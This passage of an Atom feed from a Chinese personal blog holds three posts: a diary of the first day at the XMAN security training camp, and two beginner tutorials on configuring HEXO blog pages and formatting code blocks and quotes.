    <category term="xman" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/xman/"/>
    
    
    <category term="xman" scheme="https://blog.5am3.com/tags/xman/"/>
    
  </entry>
  
  <entry>
    <title>XMAN训练营手记-1</title>
    <link href="https://blog.5am3.com/2017/08/01/xman-1/"/>
    <id>https://blog.5am3.com/2017/08/01/xman-1/</id>
    <published>2017-08-01T12:58:19.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<h2 id="入营"><a href="#入营" class="headerlink" title="入营"></a>入营</h2><p>来到南京，蛮激动的。即将与各位大佬相处21天。希望在这21天内，真正可以从萌新，变大佬。话说来了后，看到了兵哥哥们，警察哥哥们。各种大佬！自己一个萌新默默在角落里瑟瑟发抖。</p><span id="more"></span><p><img src="https://img.5am3.com/5am3/img/20191214150034.jpg"><br>南京蛮棒的，而且大家都特别友好。虽然没有北京营各种大神云集，甚至开营还是看的北京直播。但感觉还是蛮棒的。上床下桌+空调。满足了自己许久以来的一个愿望。<br><img src="https://img.5am3.com/5am3/img/20191214150042.jpg"></p><h2 id="第一天"><a href="#第一天" class="headerlink" title="第一天"></a>第一天</h2><h3 id="上午-TB破冰"><a href="#上午-TB破冰" class="headerlink" title="上午 TB破冰"></a>上午 TB破冰</h3><p>上午的自我介绍很欢乐，各种大佬介绍着自己</p><ul><li>A:大家好，我叫XXX。特长端茶递水。</li><li>B:大家好，我叫XXX。擅长抱大腿。</li><li>C:大家好，我叫XXX。特长喊666.</li><li>D:大家好，我叫XXX。擅长给大佬递茶。</li><li>小秘：已经有一个擅长端茶的了。</li><li>D:那我擅长烧开水。</li></ul><p>看着一个个谦虚的大佬，自己一个萌新默默蜷缩在角落里发抖。<br>紧接着就是分组做游戏，很欢乐。最后还有小礼品。<br><img src="https://img.5am3.com/5am3/img/20191214150004.jpg"><br><img src="https://img.5am3.com/5am3/img/20191214145953.jpg"><br><img src="https://img.5am3.com/5am3/img/20191214150050.jpg"></p><h3 id="下午-入营介绍-普法教育"><a href="#下午-入营介绍-普法教育" class="headerlink" title="下午 入营介绍+普法教育"></a>下午 入营介绍+普法教育</h3><p>诸葛大佬给讲述了一下夏令营的基本情况。<br>然后360补天的大佬又给大家讲了一个又一个鲜活的案例。<br>告诉大家，no zuo no die!<br><img src="https://img.5am3.com/5am3/img/20191214150011.jpg"><br><img src="https://img.5am3.com/5am3/img/20191214150019.jpg"><br><img src="https://img.5am3.com/5am3/img/20191214150025.jpg"></p><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>经过这一天，越来越期待以后的日子。<br>希望可以再XMAN学到更多。<br>也希望自己不在又萌又新。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;入营&quot;&gt;&lt;a href=&quot;#入营&quot; class=&quot;headerlink&quot; title=&quot;入营&quot;&gt;&lt;/a&gt;入营&lt;/h2&gt;&lt;p&gt;来到南京，蛮激动的。即将与各位大佬相处21天。希望在这21天内，真正可以从萌新，变大佬。话说来了后，看到了兵哥哥们，警察哥哥们。各种大佬！自己一个萌新默默在角落里瑟瑟发抖。&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="xman" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/xman/"/>
    
    
    <category term="xman" scheme="https://blog.5am3.com/tags/xman/"/>
    
  </entry>
  
  <entry>
    <title>2.初识HEXO-页面配置</title>
    <link href="https://blog.5am3.com/2017/06/17/hexo2/"/>
    <id>https://blog.5am3.com/2017/06/17/hexo2/</id>
    <published>2017-06-17T13:04:09.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>上一篇简单写了一下hexo发表博客的一些小技巧。这一篇就来说一下hexo的基本配置吧。</p><span id="more"></span><h2 id="about页面的配置"><a href="#about页面的配置" class="headerlink" title="about页面的配置"></a>about页面的配置</h2><p>自己安装完主题后发现，about页面无论如何都打不开。搜了又搜，最终发现还得另行配置。在这里简要说一下吧。<br>首先hexo先新建一个about页面。<code>hexo new page about</code><br>和新建文章差不多，但路径不太一样，它在根目录的source文件夹下新建了一个名为about的文件夹。我们只需修改里面的index.md即可。在里面添加上我们的个人简介。</p><h2 id="tags页面的配置"><a href="#tags页面的配置" class="headerlink" title="tags页面的配置"></a>tags页面的配置</h2><p>这个和上面步骤差不多。<br>首先<code>hexo new page tags</code><br>然后找到文件打开，此时我们只需在配置栏加一条<code>type: &quot;tags&quot;</code>即可</p><h2 id="tags页面的修改"><a href="#tags页面的修改" class="headerlink" title="tags页面的修改"></a>tags页面的修改</h2><p>此时，我们已经配置完成了。但是打开浏览器查看，发现效果不是太如人意，此时该怎么做呢？</p><p><img src="https://img.5am3.com/5am3/img/20191213230022.png"></p><p>身为程序猿的我们，当然不能就此妥协，要改！<br>在这里说一下我改的方法吧，打开主题的layout文件夹，进入_partial文件夹内，修改其中的page.ejs。</p><p><img src="https://img.5am3.com/5am3/img/20191213230032.png"></p><p>不要问我怎么知道的，没工夫告诉你。<br>可累了，挨个打开看。<br>一把辛酸泪。看了三遍才找到。</p><p>至于怎么改，我这里就不详细说了，毕竟我也是瞎改。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上一篇简单写了一下hexo发表博客的一些小技巧。这一篇就来说一下hexo的基本配置吧。&lt;/p&gt;</summary>
    
    
    
    <category term="WEB" scheme="https://blog.5am3.com/categories/WEB/"/>
    
    <category term="HEXO" scheme="https://blog.5am3.com/categories/WEB/HEXO/"/>
    
    
    <category term="HEXO" scheme="https://blog.5am3.com/tags/HEXO/"/>
    
  </entry>
  
  <entry>
    <title>1.初识HEXO-文档排版</title>
    <link href="https://blog.5am3.com/2017/06/17/hexo1/"/>
    <id>https://blog.5am3.com/2017/06/17/hexo1/</id>
    <published>2017-06-17T12:04:09.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>最近水群，闲逛看到好多大神使用这个框架搭个人博客，效果还蛮棒。于是自己也开始尝试。<br>尝试途中，也算是经历了一些困难。下面写一下吧。</p><span id="more"></span><h2 id="感受"><a href="#感受" class="headerlink" title="感受"></a>感受</h2><p>HEXO是一个很强大的静态博客框架，而且可以直接基于GitHub搭建博客。<br>真心蛮棒的。而且学习起来也不是太困难，稍微有点前端知识就能上手使用。<br>博客主要是用markdown书写，还是比较方便的。<br>下面给大家介绍一些小技巧，自己感觉蛮有意思的。</p><h2 id="有意思的东西"><a href="#有意思的东西" class="headerlink" title="有意思的东西"></a>有意思的东西</h2><p>下面写一下在写hexo博客时的一些小技巧</p><h3 id="如何实现点击查看更多"><a href="#如何实现点击查看更多" class="headerlink" title="如何实现点击查看更多"></a>如何实现点击查看更多</h3><p>在摘要写完后的下一行，写下这段代码即可。</p><p><code>&lt;!--more--&gt;</code></p><h3 id="如何插入代码"><a href="#如何插入代码" class="headerlink" title="如何插入代码"></a>如何插入代码</h3><p>插入代码有两种方式。([]内的为参数，书写时请删掉[]。)</p><ul><li><strong>markdown语法</strong></li></ul><p><code>`代码`</code><br><em>效果是这样</em></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">```html</span><br><span class="line">&#123;% codeblock 丶诺熙 http://blog.5am3.com/2017/05/23/初识HEXO/ 初始HEXO lang:html %&#125;</span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>代码块<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;a&quot;</span>&gt;</span>一个div<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">&#123;% endcodeblock %&#125;</span><br><span class="line">```</span><br></pre></td></tr></table></figure><p><em>效果是这样,html为高亮语法、可以自己随意填</em></p><ul><li><strong>swig语法</strong></li></ul><p><em>在这里就不做详细解释了。这个例子大家可以看一下。</em></p><figure class="highlight html"><figcaption><span>丶诺熙</span><a href="http://blog.5am3.com/2017/05/23/初识HEXO/">初识HEXO</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;% codeblock 丶诺熙 http://blog.5am3.com/2017/05/23/初识HEXO/ 初识HEXO lang:html %&#125;</span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>代码块<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;a&quot;</span>&gt;</span>一个div<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">&#123;% endcodeblock %&#125;</span><br></pre></td></tr></table></figure><h3 id="如何插入引用"><a href="#如何插入引用" class="headerlink" title="如何插入引用"></a>如何插入引用</h3><ul><li>markdown语法</li></ul><blockquote><p>&gt;这是一条引用<br>&gt;这是第二条引用</p></blockquote><ul><li>swig语法</li></ul><blockquote><p>{% blockquote @ http:&#x2F; &#x2F;blog.5am3.com&#x2F;2017&#x2F;05&#x2F;23&#x2F;初识HEXO&#x2F; 丶诺熙 %}<br>Every interaction is both precious and an opportunity to delight.<br>{% endblockquote %}</p><footer><strong>@</strong><cite><a href="http://blog.5am3.com/2017/05/23/初识HEXO/">丶诺熙</a></cite></footer></blockquote><p>自我感觉就是md比较简单粗暴，而swig则功能比较强大，比如引用可以标注引用来源。还可以加超链接。满棒的。</p><ul><li>以上均参考了<a href="https://segmentfault.com/a/1190000009478129">Adam的博客</a>，如果有想详细了解的小伙伴可以点进去。</li></ul><h2 id="自己遇到的一些小坑"><a href="#自己遇到的一些小坑" class="headerlink" title="自己遇到的一些小坑"></a>自己遇到的一些小坑</h2><h3 id="如何摆平代码"><a href="#如何摆平代码" class="headerlink" title="如何摆平代码"></a>如何摆平代码</h3><p>比如刚刚的那几个代码例子，研究好久才写出来。<br>因为如果直接写会被hexo编译成代码，而不是原来的样子。<br>但是写成以下就可以绕过转义。</p><ul><li>md语法</li></ul><p><img src="https://img.5am3.com/5am3/img/20191213225947.png"></p><p>也就是说，如果用md语法。写代码时，你的反引号比他多一个，你就赢了。这就是转义了。</p><p>但是写引用的时候要注意了。引用的转义是反斜杠。</p><p><img src="https://img.5am3.com/5am3/img/20191213230008.png"></p><ul><li>swig语法</li></ul><p><img src="https://img.5am3.com/5am3/img/20191213225955.png"></p><p>如果是swig语法，可以加一个框，把他框起来，表明是源代码就好了。<br>但是自己用的时候感觉bug不少。但没办法了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近水群，闲逛看到好多大神使用这个框架搭个人博客，效果还蛮棒。于是自己也开始尝试。&lt;br&gt;尝试途中，也算是经历了一些困难。下面写一下吧。&lt;/p&gt;</summary>
    
    
    
    <category term="WEB" scheme="https://blog.5am3.com/categories/WEB/"/>
    
    <category term="HEXO" scheme="https://blog.5am3.com/categories/WEB/HEXO/"/>
    
    
    <category term="HEXO" scheme="https://blog.5am3.com/tags/HEXO/"/>
    
  </entry>
  
</feed>